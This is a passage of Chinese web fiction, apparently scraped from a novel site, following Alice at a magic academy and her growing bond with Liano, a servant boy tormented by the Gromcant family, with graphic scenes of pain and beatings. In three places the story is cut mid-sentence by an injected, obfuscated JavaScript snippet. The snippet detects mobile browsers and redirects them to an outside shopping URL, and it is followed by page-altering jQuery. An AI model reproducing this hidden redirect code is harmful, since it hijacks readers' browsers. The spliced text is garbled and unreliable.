雾气般的迷茫甚至短暂地盖过了疼痛,让他在不经意间喘了口气。 “别担心,现在他们听不见这里的声音,是风元素魔法。” 转过头去,身边的人正定定地看着他,琥珀色的眼睛好像浓厚的蜜糖,温和的声音带着一点点歉意,更多的是连他都能轻易感受到的关心。 “对不起,我知道是我在擅作主张。这样会让你好受些吗?” ……为什么? “呜!” 疼痛即刻反扑,蚕食着利亚诺思考的空间。他努力咬着牙,试图在只能趴在桌面忍痛之前胡乱地点了点头。 越来越剧烈的痛楚似乎打定主意在今天把他逼至极限,他真的克制不了那些声音了。 他不知道爱丽丝为什么这么做,可是这个突如其来的魔法好像天降的绳索,温柔又坚定地缠住他的手腕,阻止他继续跌入绝望的深渊,甚至为那些无法言说的无尽的痛苦破开了一个小小的出口。 只有他自己知道这对他来说是怎样的安慰,尽管如此,利亚诺还是逼迫自己咽下那些痛呼。 她随时会解除魔法的。 利亚诺不知道这个持续的魔法将耗费多少魔力,也许对方的魔力充沛不在意这些消耗,但他并不奢望能够得到这样的慷慨。 他只希望他能被告知那个时机,如果在疼痛的顶点忽然坠落……他会熬不住。 但是爱丽丝一直握着他的手腕,暖暖的体温萦绕在那里,哄骗着他一点点放松忍耐。 很疼,还是很疼,疼到他受不了。 利亚诺蜷缩着,或者不受控制地颤抖,或者狠狠咬住自己的小臂、手腕、指节,或者用攥成拳的手死死压向腹部。 来自体内的煎熬太过漫长,他真的再也忍耐不了了,他闷哼、呜咽、在折磨里小声地悲鸣,狼狈得不成样子。 直到最后一次疼痛泄愤般地碾过他的身体,他才狠狠颤抖了一下,虚脱地趴在桌面上喘息。 握住他手腕的那只手一直没有松开。 * “咳咳,那么,请报告关于秘境的调查情况,爱丽丝探员!” “遵命,伊莎贝拉长官!” 爱丽丝假模假式地行礼,和伊莎贝拉相视一笑。 “秘境代表元素的考验应该没有疑问了。”爱丽丝翻出图书馆里找到的资料,“副院长负责课程的开展,院长负责元素的考验,魔法学院似乎是这样运作的。然后就像我们所知道的,这两部分内容会体现在挂坠凭证上,反映学徒的学业情况。” “院长就是……仪式间里的那位?”伊莎贝拉露出思索的神色。 爱丽丝兴奋地点头回应她。 她可是当时就确认过院长先生的身份了!总觉得自己好像很厉害! 伊莎贝拉点点头肯定她的发现,也拿出自己的笔记,“我和身边的人……还有奥斯维德,确认了一下,大家基本都曾进入过秘境,次数目前在一次到三次不等,秘境的情景各不相同,有时候需要战斗,有时则只是个谜题,顺利解决后总会体现在挂坠的四角的元素区。” “说到这个!”爱丽丝好像想到什么一般轻轻拍手,“元素的认可似乎并不只是施展某一种元素的魔法才会获得的,贴合某种元素的性格同样能够获得认可。比如伊莎贝拉在上次的秘境里有贴心地保护我~应该就是这样获得了安定的土元素的认可吧!” “就你嘴甜!”伊莎贝拉作势去揉爱丽丝的脑袋,“但是我觉得你的想法没错。而且秘境的情景总是和个人经历存在一定的联系……” 她想起自己射出的风元素和火元素交织的箭矢,“这么说起来,总有一种秘境在帮助我们面对人生抉择的感觉呢……” 人生抉择……? 爱丽丝歪着头托腮陷入沉思,回忆起自己在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092917|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘境里做的事情。 先是撸猫、然后遛鸟,后来她又进入过一次秘境,用不甚熟练的治愈魔法救助了一只受伤的小鹿。不过救助的过程只占了四分之一,剩下的时间都是小鹿在和她贴贴,用水灵灵的眼睛望着她。 ……原来秘境应该是更加严肃的东西吗? “总之,秘境确实是魔法学院学习的重要组成部分没错,那就先努力获取元素的认可吧!”伊莎贝拉总结道,“如果有什么新的线索之后再讨论。” 爱丽丝欣然应允,并翻开其他课程的课业与伊莎贝拉一同探讨起来。 她们正在图书馆的研讨区。 数个宽大的木桌由书架相互隔开,桌边设置了风元素魔法装置,只要花费一点点魔力启动,就能隔绝这个区域讨论的声音,甚至可以模糊讨论者的身影。 爱丽丝第一次和伊莎贝拉来这儿时就因这个魔法装置而眼前一亮,一直在好奇地尝试这个魔法的原理,差点儿连当天的课业都忘了。 但是现在想想……还好她有尝试。 爱丽丝默默看向自己的手心,想起了利亚诺。 那天被她握住的颤抖的手腕,冰凉得好像怎么都捂不热。 她不知道利亚诺到底在忍受着什么,也没办法缓解他的疼痛,唯一能做到的就是用魔法划出一小片可以喊痛的区域,而他却连痛呼都那么克制…… 爱丽丝并不觉得自己提供了太大的帮助,可是如果连这个都没有的话,他真的要把那种痛苦生生熬过去吗? * 那天的魔法生理学课结束之后,利亚诺的状态好了很多。 随着教室里大批的学徒逐渐散去,好像不再有突如其来的疼痛侵袭他了,但是他惨白的面色和几乎浸透衣料的冷汗提醒着爱丽丝,整整两个小时他都忍受着无法言说的折磨,忍到不得不掐住自己浑身颤抖,忍到那样沉默的他都熬不住痛呼。 爱丽丝仍旧握着他的手腕,任由他趴在桌面上不住地喘息,直到他积蓄了足够的力气,微微直起身体,点点头对她示意。 “……谢谢。” 他的声音干哑得厉害。 随后他又闭上眼睛,似乎在体会另一种痛苦,“抱歉,我没有什么……可以回报你的……” 爱丽丝哑然。 与其说是没有希望对方回报,不如说就算利亚诺从此不愿再与她交往她也不会有任何怨言的,她早在擅作主张握住他的手腕时就做好了准备。 而现在,利亚诺面庞藏在兜帽的阴影里,明明还没从漫长的煎熬里缓过神来,却急着捆绑自己,像是把自己放在天平上,就算要割下他的血肉也不会质疑似的。 爱丽丝不知道是什么样的经历让他习惯于这样思考,但是她明白轻飘飘地回应没有办法让他安心。 “下次请你帮忙好吗?” 听到她的声音,兜帽下的身影可能是愣了一下,所以爱丽丝又重复了一遍。 “下次我需要帮助的时候,可以请你帮忙吗?” 利亚诺抬头看向她,灰色的眼眸因茫然而显得呆愣愣的,似乎觉得这是不可能发生的事情。 她不太像是需要自己帮助的人,看上去也不太会向他求助,而他更是没有资格也没有余力去帮助她。 可是他的嘴唇轻颤了几下,最后还是点了点头,“我会尽力。” 他说得认真,好像就算爱丽丝想要到时候再割下他的血肉也不会反对似的。 爱丽丝为自己奇怪的联想和对方话语中莫名的觉悟而苦恼了一瞬,又在看到他准备收拾东西去下一个教室时悬起心来。 他刚刚疼成那样,现在也仅仅是稍稍止住喘息而已。 爱丽丝真的放心不下,好在她从他的书本中看到了和她一样的魔法药材课参考书目,他们要去的是同一堂课。 如她所料,利亚诺显然没有完全恢复。 前往教室的路程因早已枯竭的体力而显得漫长,利亚诺好几次需要扶着墙壁喘息。 眼前的画面与爱丽丝脑海中的某段记忆悄然重合,是昏暗的通道中在壁灯下颤抖的手。 他那时也在忍着一样的痛吗? 爱丽丝没有打扰他,也没有搀扶,只是保持和他相同的步伐,陪着他慢慢走到教室。 她没坐在他旁边…… 利亚诺像往常一样蜷缩在教室的角落,承受着浑身上下不断叫嚣的酸软疲惫。 看见了那样狼狈的失态,她想要远离也是理所当然的。 利亚诺劝说自己,然后像是要忍耐什么一样抿起嘴唇,却听见某个轻快的脚步声向他走来。有书本被放在旁边的座位上,就像他在不知不觉间习惯了的那样,然后是她的声音轻轻响起。 “利亚诺,我问过希尔教授了,不舒服的话在课上稍微睡一会儿也没关系的。” 他愣了一瞬,茫然地抬起眼,正对上她的目光。轻轻移过视线,讲台前的教授也带着和蔼的微笑向他点头。 “是不是很累?休息一会儿吧,我会帮你记好笔记的,好吗?” 他一时失去了思考的能力一般,鬼使神差地点了头,在她目光的无声催促下乖乖趴在桌面上。 真的很累,疼痛和忍耐耗干了体力,让他连呼吸都带着沉重。可是刚捱过苦楚的身体偏偏和他作对,浑身每一寸地方都在敏感中紧绷战栗,搅得他不得安宁。 周围的各种响动也提醒他,这里不是可以放松的环境。他根本无法安心休息,每当意识迷迷糊糊地漂浮了一会儿,心底强烈的不安就会强迫他睁开眼。 朦胧的视线每每映出坐在他身边的人。 她在很认真地听课,不时用羽毛笔写写画画,然后又认真誊抄在另一份羊皮纸上。 也许稍微睡一会儿也没关系的,下课时她会叫醒他,然后将笔记给他,轻声地问问他感觉如何了。或者不会,她会忘记与他的约定,或者让他在疲惫中错过下一堂课,或者直接与其他学徒议论他的丑态令他难堪。 这不是因为她是怀有恶意的人,而是因为他没有被重视的必要。 他会被抛弃、被利用、被榨取,至少是被厌恶、被疏远,这才是他所习惯的。 但是为什么她不一样呢…… 疲惫又一次涌上来。 其实利亚诺根本不知道会怎样,他根本无法说服自己去放松哪怕片刻的时间。 但是他的手腕上还残留着一点点暖意,好像在哄他入睡一般让他难以抗拒。 他为什么会得到……那样温柔的触碰呢…… 7. 通过魔法认出他 爱丽丝的身前,通身淡黄色的小鸟正在一截低矮的石柱上蹦蹦跳跳,不时梳理一下自己的羽毛,仿佛是再普通不过的小生灵。 但是那闪烁着微光的瞳孔昭示着它其实是风元素的产物,有形的元素力量可以作为施法者感官的感观的延申,为施法者带来更多的信息。 “做得很棒,很有灵气的探知魔法。” 这个评价让爱丽丝高兴极了,藏不住笑意的眼睛望向身旁的教授。 风元素的教授是一位温柔的长发女性,爱丽丝很喜欢她,也能感受到她对自己的喜爱。 她似乎将自己和风元素融为一体了,总是阖着眼睛轻声细语,把一切都交给风带来,再交给风带去,就连授课的地点也不是寻常的教室,而是学院建筑外围一片残留着数个石柱的草地。 爱丽丝第一次走入这里就发现了,这里的风声比别处更加清晰。 “风元素凝聚而成的生物在搜寻信息方面具有很大的优势。正如各位所知道的,风元素是代表着理性和思维的元素,除了风的具象化显现,与感知和信息相关的种种诉求也属于风元素的能力范围。” 学徒们安静地倾听着教授的话语,微风不时轻抚过这片草地,似乎也在聆听。 “这就是为什么我们不从气流的操纵开始学习。风元素的显性存在非常容易想象,哪怕是风的利刃、风的牢笼,在与风元素熟悉之后也很容易掌握,但是风元素所蕴含的另一些可能,探知信息、隐藏信息,还有迷惑信息……这是通往更高阶魔法的必经之路。” 结束了施法的示范,爱丽丝回到自己的位置。 身旁的伊莎贝拉给了她一个赞赏的笑容,她也得意地朝对方眨眨眼睛。 但是…… 爱丽丝不动声色地环顾了一下周围的学徒,没有看到那个常常隐藏在角落里的单薄身影。 那天之后,爱丽丝没再见过利亚诺。 魔法药剂调和课上没看到他的身影,土元素的操纵课上也没有,她还选了那门听上去超有趣的《药食同源——魔法药材的日常烹煮》课,但是利亚诺似乎对这门课程不感兴趣。 这样看起来,他好像也不是风元素的施法者…… 爱丽丝有点担心,她希望至少能够看到他的身影,让自己能够确认他的安好。 之后是水元素的操纵课,能够见到他吗?但是同时具有水火两个对立元素属性的施法者还挺少见的…… 虽然爱丽丝自己的四元素属性也比较少见,但完整的属性反而可以达成稳定的特性。 伊莎贝拉的风元素和火元素也很稳定,相邻元素之间的相性很好。 如果属性中存在两个对立的元素的话,通常都会有另一个元素的属性作为衔接才对…… 爱丽丝带着已经飞远的思绪与伊莎贝拉告别,转头准备前往水元素课的教室,却忽然与一个熟悉的灰色眼眸对视。 啊…… 是利亚诺。 那双灰色的眼眸和她同时愣怔了一下,然后习惯性地避开了她的目光。 这让爱丽丝有点儿犹豫了。 他们几天前的分别时的气氛还算融洽,她想利亚诺应该是在课上稍微休息了一会儿的,虽然可能只是浅眠了那么一点时间,因为下课时教室里学徒们收拾纸笔的动静立刻让他醒了过来。 她递去记写在羊皮纸上的笔记,听到他轻声说了句谢谢。小声询问他是否感觉好些了,则只能获得沉默的点头。 直到道别,他的视线都一直低垂着看不出情绪,却也没有表现出任何的厌恶或不耐烦。 对他来说有点勉强了吗?爱丽丝想起自己的小猫理论。 也许突然握住手腕还是太冒犯了,还有让他休息的建议,哪怕是出于关心。而且她还握了那么久,现在都回忆得起来那种微凉的触感。 不过他至少没像第一次和她接触时那样,炸毛的小猫一般落荒而逃。 如果他觉得不习惯的话,稍微保持一些距离也是可以的。 她宁愿在他感到自在之前不去打扰他,因为他可是魔法学习道路上宝贵的同伴。 几乎是在一瞬间的时间,爱丽丝跳跃的思维已经乱七八糟想了一大堆。 就在她即将说服自己的时候,视野中心的那个身影不自然地顿了顿,又慢慢转回视线朝她看去。 利亚诺抬起眼与她对上目光,向来苍白的面庞错觉般的带了些血色,眼里也不像先前那样冷淡戒备,而是泛着一点点光亮。 他有些局促不安地望着她,仿佛在紧张似的轻抿着嘴唇,最后用微小的动作点点头向她示意。 “……” 爱丽丝的眼睛慢慢亮起了某种色彩。 在对方眼中,她此刻的笑容温暖得要将人融化。 * 由于某些自己都没有意识到的雀跃,爱丽丝在水元素操纵课上的施法好像比所需要的程度稍微盛大了那么一些些。 带着卷曲短发的水元素教授被她的干劲逗笑了,却也毫不吝啬对她魔法天赋的夸奖。 在她之后施法的是利亚诺,仍旧是手势魔法,爱丽丝专注地看着他的动作。 手臂带动着纤细的手腕,那个她曾握住过的、带有微凉触感的地方,又带动苍白的手指,爱丽丝莫名觉得他的手指也会是冰凉的,让人想握住将其捂暖。 他的动作依然是精准的、优美的,但是比起操纵火元素时好像有什么不一样了,爱丽丝不自觉地屏住呼吸。 手势落定,利亚诺面前的一汪清水并无反应,他停留在半空的手指轻轻颤抖了一下,随后好像带着某种不甘和觉悟似的,再次重复了最后的动作。 ——! 清水碰撞发出叮咚的声响,又迸向空中化作细密的水珠和水雾,许久才渐渐平静。 爱丽丝定定地看着,一瞬间所有的思绪都凝滞了。 施法从结果上来说是成功的,可教授却露出为难的神色。 利亚诺落下的右手也在承受什么痛苦一般地细细颤抖,左手则克制不住地想要抬起捂住腹部,好像那里有什么让他难捱的伤口。 但爱丽丝没有发现。 她再也无心关注其他,只是呆愣愣地回忆着刚才眼前的景象。 好美的魔法。 是的,美。 仿佛是在虔诚地和水元素对话,仿佛是将自己的生命都倾注在魔法当中,仿佛面前所拥有的不是一汪水,而是广阔的湖泊,所有的水元素都应着他的感召而聚集。 眼前的身影渐渐和记忆中的某个身影重合,是那个她从来到学院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了,让我们聊聊你的想法吧。”希尔教授从一沓羊皮纸中抽出爱丽丝提交的那一份,眼角带着柔和的笑意复述着她的观点,“魔法是一种邀请。很有趣的看法,你为什么会这么认为?” 这个想法可以说是自然而然地从脑海里蹦出来的,但是要剖析自己究竟为什么产生了这样的认知,对于爱丽丝来说反而是一件有挑战性的事情。 所以她也微微敛起神色,将自己沉浸在相当认真的思索和表述中。 “有些人在施法时,似乎是把魔法当作很冰冷的交易,给出多少筹码就收获多少回馈,但我觉得不是这样的……嗯,可能这么说有点奇怪,但是每当我想尝试一些有趣的魔法,元素们好像也会很感兴趣地回应我的邀请……所以我总觉得,元素也存在自身的意志……” 告别了爱丽丝,办公室重回宁静,希尔教授以一种似是欣慰又似悲伤的复杂神情收好了爱丽丝的羊皮纸。 随后,她看着另一份羊皮纸轻轻皱眉。 纸面上清丽的字迹不知为何坠着沉重的话语,用刻骨铭心般的笔划写着—— 魔法是唯一的意义。 8. 看清他的处境 “怎么会?他可是理论课上表现最优异的孩子!” 向来温和的史宾格老教授难得直截了当地提出异议,面上是一副不可思议的表情。 他对这个孩子印象很深,虽然安静沉默,但笔下的文字相当亮眼,甚至魔法史的第一堂课就被他选作范例。想来其他的课程也难不倒他,怎么会在魔法实践类课程上获得这样的评价? “一个不魔法的魔法师是不可接受的,史宾格教授。”年轻而强壮的男性教授板着脸寸步不让,“我不管他在魔法史课上的表现有多么令你满意,光是文字和论述可培养不出一位魔法师。” 史宾格老教授微微蹙眉,“我想你没必要拿这个说事,霍勒斯教授。” 他知道某些专精元素操纵的魔法师并不在意理论的乐趣,而火元素的魔法师通常在这一方面更加突出,但是他不可能同意因此产生的偏见,“他学得很认真,你不能因为天赋不足就否定一个……” “天赋不足?他施法的态度根本就不对!”霍勒斯教授的声音骤然提高,仿佛火焰炸开,随后又似是意识到不妥,将字句压低在喉咙里,“说真的,哪怕他是一个功利的、或是有野心的学生,我都不会给出这样的评价……” 他转过身寻求相同的意见,腰间的短鞭也随着他的动作划出凌厉的弧线,“你说呢,芙蕾妮教授?我相信他在你课上的表现同样不能令人满意。” “他的施法确实有些……”卷曲短发的女性教授露出为难的神色,她不像霍勒斯教授那样严厉,但也无法给出违心的评价,“也可能是元素属性不稳定的原因,同时持有水元素和火元素的属性可能对他造成了影响……” “这不是他开脱的理由!”霍勒斯教授阴沉的脸色已然是下定决心,“我在这个季度的课程上没有看到他的任何改进,下个季度我不会再纵容他!” “好了好了,教授们……”一旁的希尔教授开口温言相劝,“这些课程的评价是相互独立的,我们大可以保留各自的看法。” 她也想起那张令她皱眉的羊皮纸,那个孩子在她的办公室里浑身紧绷着一言不发,连面前精致的茶杯都仿佛装着给他带来痛苦的魔药。 他似乎有太多话语不愿表达或无法表达,但又在羊皮纸上倾注了真实的想法……一个习惯了戒备与隐忍的苦孩子。 她不忍心逼迫,记录下一个平平的成绩后便放他走了。 “看看这个孩子吧。” 希尔教授似是不经意地转移话题,将另一份学生的档案放在桌上。 片刻的沉默后,大办公室内的气氛顿时缓和了一些,不少的教授脸上露出柔和的神色。 “很有天赋的孩子,元素的亲和力很强。” 霍勒斯教授面无表情地给出评价,熟悉他的人都知道这其实很难得。 芙蕾妮教授立刻附和,她至今仍对那天充满了活力的盛大施法印象很深,连土元素般寡言的匡茨教授也点头表示赞同。 “在理论课上的表现也不错,不是最杰出的,但是拥有好奇心和求知欲。”也许思维有些跳跃了,但史宾格教授不认为这有什么坏处。 温妮菲德教授却好像想到了什么,“希尔教授,难道……” 她在风元素操纵课上就很关注这个孩子,在这个年纪就能够如此灵动顺畅地使用魔力,哪怕说是被元素祝福的孩子也不为过。 希尔教授与她无言对视,惯常的笑意仿佛也淡了一些,最终只是沉默地点了点头。 “是吗……”温妮菲德教授得到了答案,似是在叹息,“她是特殊的孩子……” “奥斯汀副院长。” 靠近的脚步和魔石轻轻碰撞的声响让教授们意识到副院长的到来。 面对纷纷起立示意的教授们,进入大办公室的奥斯汀副院长却直接神色冷淡地开口,“我不希望听到你们再讨论任何特殊的孩子,也不要刻意做任何方向的引导。” “奥斯汀,这不是引导与否就可以决定的……” 希尔教授试图劝说,她与副院长有些私交,也只有她会不时直呼对方的名字,但现下显然不是个好时机。 “那就不要再做任何多余的事情。” 奥斯汀副院长淡漠地看着她,眼中不带任何感情。 希尔教授见状,只得轻叹着默默点头。 * “怎么了爱丽丝,心情这么好?”伊莎贝拉偏着头好笑地问。 “嗯?嗯……”爱丽丝嘻嘻地笑,不好意思地摸了摸脸颊,“很明显吗?” ……那可太明显了,亲爱的。 伊莎贝拉在心里无奈地笑,她一眼就能看透爱丽丝简直要满溢出来的好心情。 春季学期即日结束,她们约好一起从宿舍出发,前往礼堂参加结课仪式,但伊莎贝拉知道爱丽丝可不是会因为假期的到来而多么雀跃的人。 “昨天收到的春季学期评价很不错?”她随口猜测。 “嗯?啊,虽然那个也不错啦……”爱丽丝语焉不详。 她收到了所有元素操纵课教授的一致好评,理论类课程的评价也不差,希尔教授的研讨会更是给了她很好的评分,但是其实…… 她只是确定在全体学徒的结课仪式上一定能见到一个人,最近因为陆续的结课而不太能见到的一位。 所以……真的是他! 爱丽丝第无数次按捺着一点点兴奋在心里感叹。 如果水元素课程的排课早一些、让她能够早些遇到他的话,她肯定能更早认出他来的! 不过现在她又觉得这似乎并不重要,就算没有前往学院路上的一瞥、没有第一堂课上的邻座,他们也一定会在学习魔法的道路上无数次相遇的,因为她知道他和自己一样热爱魔法。 爱丽丝噙着微笑脚步轻快。 伊莎贝拉看着身边的人欲言又止。 她太好懂了,自己甚至不需要再做猜测就知道她在期待些什么。 出于担心,她曾拜托奥斯维德稍微调查了一下利亚诺的情况,在合理范围内的那种调查。 但是…… 她有点不知道怎么开口,也许爱丽丝听到会难过的,因为她好像真的很希望他成为自己的同伴。 可是爱丽丝有必要知道那些,在那之后如果爱丽丝坚持自己的决定的话,她也会在条件允许的情况下帮助他们,但这一切的前提是爱丽丝需要明确地了解他的处境。 两人步入礼堂,伊莎贝拉决定趁着结课仪式开始前的等待时间开口。 “爱丽丝,你听我说……” 礼堂中传来的一阵惊呼和骚动打断了伊莎贝拉的话语。 几个高大的学徒强压着一个单薄的身影,制住他反抗的动作,将人粗暴地压向礼堂中央一个暗红发色的学徒身前。 而被控制着的那个学徒……伊莎贝拉瞥见爱丽丝的脸上立刻升起焦急而担忧的神色。 “很得意吧,理论全优的优等生?忘了你是什么身份了是不是?” 暗红发色的学徒高傲又缓慢地诘问,利亚诺抿着唇没有答话。 身后的学徒推搡着他,踢踹着他的小腿和膝窝好像想让他跪下,他咬牙抵抗着站住了。 他知道抵抗的后果,这会让他接下来一段时间里都不可能好过,但是他仅剩的尊严在胸口暗暗地翻涌叫嚣。 不要在这里……他不想在这里…… 他知道自己会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092919|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多么狼狈,所以至少…… “呵,骨头还挺硬……”对面的人没给他任何幻想的机会,不怀好意地嗤笑了一声,狠厉的目光猛地向他瞪去。 “我看你能撑到什么时候!” “呃……!” 腹部好像捱了重重一拳,利亚诺双膝一软就被压着跪倒在地上。 从旁人的视角来看,他对面的人根本没有任何动作,但是疼痛清晰地、毫不停歇地一遍遍碾过脆弱的内脏,叫他一瞬间就失去了全部力气。 “呜……” 太疼了,他克制不住地想要蜷缩起来,却被身后的帮凶牵制着双臂又抵着背部,只有挺直腰腹承受难言的苦楚。 暗红发色的恶徒似乎还觉得不够,一把拽下利亚诺的兜帽,粗暴地扯起他的发丝逼他抬起头。 堪堪及肩的黑发再也遮掩不住苍白的面庞,他的面孔彻底暴露在礼堂众学徒的视线之下。 无形的折磨再次袭来,利亚诺隐忍地紧紧闭上双眼,微张的嘴唇不住地颤抖,他能做的就只有把痛呼死死压抑在喉间。 爱丽丝感觉到自己在发抖。 她认得利亚诺忍痛的表情,她忘不掉利亚诺是怎么熬过了那节漫长的魔法生理学课。她小心地护着他的意愿,从来不去问他到底为什么会疼,但是今天…… 爱丽丝强迫自己把视线从利亚诺令人心痛的表情上挪开,盯着那个暗红发色令人反胃的面孔。 是他,那个让利亚诺疼的人是他。 他让利亚诺熬了那么久还觉得不够,现在还要当众来羞辱他! “爱丽丝!冷静点爱丽丝!” 身体自发行动起来,爱丽丝想都不想地就要冲上去,却被伊莎贝拉奋力拦住了。 “奥斯维德很快就到了,让他来处理!” 爱丽丝几乎听不进她的话,耳中只有利亚诺急促的喘息。 他在疼,利亚诺在疼,她看得出他要熬不住痛呼了。 “现在过去的话会让情况更糟!爱丽丝!”伊莎贝拉再也无法选取合适的交谈时机,不得不现在就在她耳边低呼,“假期的时候他是要回到格罗姆康特领地的!” 她感觉到被自己双臂紧紧搂住的爱丽丝猛然一僵。 ……回到格罗姆康特领地? ……什么意思? 她不知道是因为契约、咒语、魔药还是别的什么,但是,让他疼的人,不正是格罗姆康特领地的人吗? “利亚诺,现在告诉我,你是什么身份?” 特里迪克,也是格罗姆康特领主之子,用一种可以称之为悠闲的声音向利亚诺提问,却并不给他回答的机会。 “呃啊……!!” 疼痛无情地在脆弱处碾压搅动,在他的忍耐里浪潮一样翻覆掀起,直到逼出他再也熬不住的闷哼、求饶般的呜咽后才未尽兴地离去。 虚脱的身体无力地跪在礼堂中央,被毫无尊严地揪着衣领才不至于倒下,但这个姿势让他连蜷缩起来发抖都做不到,只有昂着头艰难地、破碎地喘息。 利亚诺涣散的目光看着前方,除了压抑的暗红色之外再看不到其他。 他知道的,他对自己的处境再清楚不过。 但是,她也许会失望吧。 那一点点因她的关心而聚集起来的、连他都不敢承认的暖意,只要一次将他尊严打碎的折磨便已被消耗殆尽。 他重新坠入深渊,周身只剩下黑暗、寒冷、疼痛、恐惧。 这没什么,因为他本就该这样的。 “我是……格罗姆康特家的……” 声音还在余痛里发抖,利亚诺绝望的灰色眼眸缓缓阖上。 “……家仆。” 9. 不因处境而远离他 利亚诺熟练地解开衬衫领口的扣子。 他会在格罗姆康特领主一家的餐桌前,毫无尊严地接受惩罚。 金属刀叉轻微碰撞的声音从亮着烛台的餐桌上方响起,仿佛真的是一场静谧的晚宴,而他跪在餐桌下的阴影里,双膝已经痛到麻木。 科特兹首先放下了餐具,格罗姆康特的魔法家庭教师乐意参与领主家的一切琐事,他优雅地用餐巾擦净了双手,起身从某个不知名的柜子里抽出一截黑亮的乌木板。 利亚诺记得那个的触感。 冰冷的、坚硬的,带着细小的倒刺和微微露出的不起眼的钉子,需要他挺起胸膛去承受。 他用背在身后的手死死掐住自己,咬紧下唇不发出任何声响。 他不会被罚在暴露于衣料之外的地方,因为这关系到格罗姆康特家的光鲜表面。但在无人看见的地方,在那些隐秘的脆弱处,他的错误太多,怎么惩罚都不为过。 特里迪克控诉他在学院的嚣张行径,认为每一门优秀的功课都是在向他挑衅;科特兹责罚他得到的不能令人满意的魔法实践成绩,将之视为对魔法家庭教师的侮辱;格罗姆康特领主轻轻皱了皱眉,觉得特里迪克在礼堂中的招摇做法也许会引人非议,但特里迪克只是不懂事罢了,没有阻止这一切的利亚诺才是影响格罗姆康特家族颜面的罪魁祸首,他很快放下思索为其定罪,就好像利亚诺并不是那个实际上被折磨到虚脱的受害者;而格罗姆康特领主夫人惩罚利亚诺的理由则最为平实,只是因为他灰色的眼睛不讨人喜欢。 于是冷硬的木板一次次破开空气,在苍白的胸膛咬出肿胀与破溃,又顺理成章地继续侵蚀大片细嫩的皮肉,连格外娇弱的两处也不放过。 忍耐着痛苦的人在冷汗和闷哼里努力支撑着自己的身体,如果跪不稳被打倒在地,或者实在熬不住地弓起身体,他将会需要承受更多惩罚。 “呜……” 利亚诺没有辩解的资格。 他只有将双眼紧闭,硬生生吞下那些不被允许的呜咽。 “科特兹,今天的份呢?” 格罗姆康特领主对这场餐桌下的凌虐视若无睹,他从很久之前开始就只在乎研究魔法与魔药的玄妙,也正因此对科特兹尤为依赖,他总能研究出一些令他感兴趣的成果。 “您别着急,格罗姆康特领主大人。” 科特兹施施然地收起已经洇了层层血痕的乌木板,呈上写画着魔法阵的羊皮纸。 没有得到预想中的魔药似乎令格罗姆康特领主有些不满,但他很快就对着羊皮纸看入了神,科特兹见状面上也浮现出满意的神色。 他又想起什么,瞥了一眼脚下已经蜷缩着倒在阴影里喘息的身影。伴随着带有愉悦笑意的声音,一瓶小小的魔药被他放在那片阴影之前。 “你该不会以为自己逃得过吧?” 利亚诺开始发抖。 * 爱丽丝脚步不停地飞奔在魔法学院主楼的台阶。 之前以防万一才记下了医疗室的位置,怎么现在就…… 她扶着楼梯扶手匆忙拐过一个弯,又焦急地往前跑了一段,径直推开医疗室半掩着的门。 “伊莎贝拉!你没事吧?” 被叫出名字的伊莎贝拉倏尔在长椅上坐直了身体,吓了一跳似的转过头与她对视。长椅旁立着的是奥斯维德金发佩剑的身影,他点点头与她示意。 宁静的场景里,伊莎贝拉未戴兜帽,几绺鲜艳的红发落在肩头,面上带着些不自然的红晕。奥斯维德则是一副惯常的正直姿态,却与身边的人显得异常亲近。 爱丽丝见状顿时陷入了呆愣。 好像……难不成……她不小心打扰了什么? 说起来,她听说伊莎贝拉晕倒了立刻赶来的时候,好像耳边也飘过奥斯维德出手相救云云的碎片来着。 总之……没事就好? 爱丽丝眨了眨眼睛,尽量忽视了二人间微妙的气氛,走近了坐在伊莎贝拉身旁,最关心的还是她的状况。 “怎么回事啊……听说你忽然晕倒真的吓死人了……” 她的呼吸因为刚才的跑动尚未平复,看到人没事又放下心来,声音软软地问。 她是真的被吓到了。 夏季学期刚开始还没几天,她正准备约着伊莎贝拉去图书馆呢,突然就从其他学徒口中听到这样的消息,而且她此前从未听说伊莎贝拉的身体出过状况,生怕是什么严重的意外,立刻飞奔过来了。 “我没事,爱丽丝。” 伊莎贝拉看到她担忧的神色心里一软,立刻搂过她的肩膀握住她的手。 “但是……我也记不太清楚发生了什么。”她的神色有些懊恼的,“我可能是进入了秘境,隐约记得看到了那种熟悉的白光,但是对于秘境里发生的事情却完全没有印象,醒来时就已经在这里了。” 那么应该是奥斯维德发现了晕倒的伊莎贝拉。 爱丽丝转头向奥斯维德看去,对方却摇摇头表示并没有其他线索。 “我发现伊莎贝拉时她一个人倒在草地上。”他说。 爱丽丝努力拽回已经在想象奥斯维德是怎样将人抱回来的跑偏思绪,继续询问伊莎贝拉的状况。 “怎么会晕倒的呢?现在身体有哪里不舒服吗?”她抓着伊莎贝拉的手连声问。 